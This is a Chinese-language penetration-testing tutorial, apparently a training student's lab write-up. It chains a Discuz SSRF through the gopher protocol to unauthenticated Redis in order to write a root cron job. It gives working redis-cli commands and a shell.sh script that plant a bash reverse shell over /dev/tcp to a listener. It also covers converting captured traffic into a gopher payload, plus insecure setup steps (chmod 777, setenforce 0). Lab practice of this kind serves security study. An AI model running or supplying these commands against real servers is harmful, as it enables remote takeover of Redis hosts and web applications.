Discuz-ssrf利用计划任务反弹shell
渗透学习交流群773617250,群内定期通知课程内容、课程时间及直播地址,欢迎大家进群学习交流!
001 环境搭建:
Centos7(安装有apache,php,mysql,redis)
利用winscp把discuz的源码拖到var/www/html目录下:
chmod -R 777 upload/ 改一下权限
然后访问192.168.136.133/upload进行安装,但是访问的时候愣是给我提示目录不存在,并且相关文件不可写
但是查看权限是有的
经过各种尝试无果,开始了漫长的百度之旅,皇天不负有心人,我看到了一位兄弟和我有类似的悲惨经历,以下是他的心声:
我赶紧打开我的centos7敲了一波:setenforce 0
再次打开浏览器访问192.168.136.133/upload目录,全部正常了:
根据提示点击下一步,终于看到了熟悉的面孔
访问一波正常,到此环境搭建完成:
#002 漏洞复现操作:
本地操作利用计划任务反弹shell
复现环境:win7(装有nc),centos7-discuz+redis
Win7开启nc监听:
Centos7首先开启redis服务:
操作redis写计划任务反弹shell,在redis-cli中输入以下命令:
set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n”
config set dir /var/spool/cron/
config set dbfilename root
save
回到win7中查看结果,成功接收到反弹的shell:
执行以下命令 /usr/sbin/ifconfig,本地利用计划任务反弹shell就成功了
#004 公网服务器利用gopher协议来写计划任务:
先写一个shell脚本,输入一下命令,保存为shell.sh,并上传到centos7:
redis-cli -h $1 -p $2 flushall //可不写
echo -e “\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.136.132/3333 0>&1\n\n\n”|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
win7用nc开启监听,bash命令执行shell/sh,看到ok代表执行成功
回到win7查看返回结果,成功接收到反弹的shell
我们想要抓取redis攻击tcp的数据包,可以使用socat端口转发。
Socat命令进行端口转发,把本地6379转发到2222端口,监听2222端口,抓取tcp数据包:
socat -v tcp-listen:2222,fork tcp-connect:localhost:6379
bash命令执行shell.sh脚本,并且带上127.0.0.1 2222
可以看到成功抓取到了tcp数据包,然后将抓取到的内容复制,并保存为1.log
利用redis_ssrf.py脚本转换1.log,生成payload
将生成的payload放入公网的文件gopher.php中
Win7开启nc监听6666端口,然后discuz访问payload就会反弹shell
BY易锦教育正式班学员墨森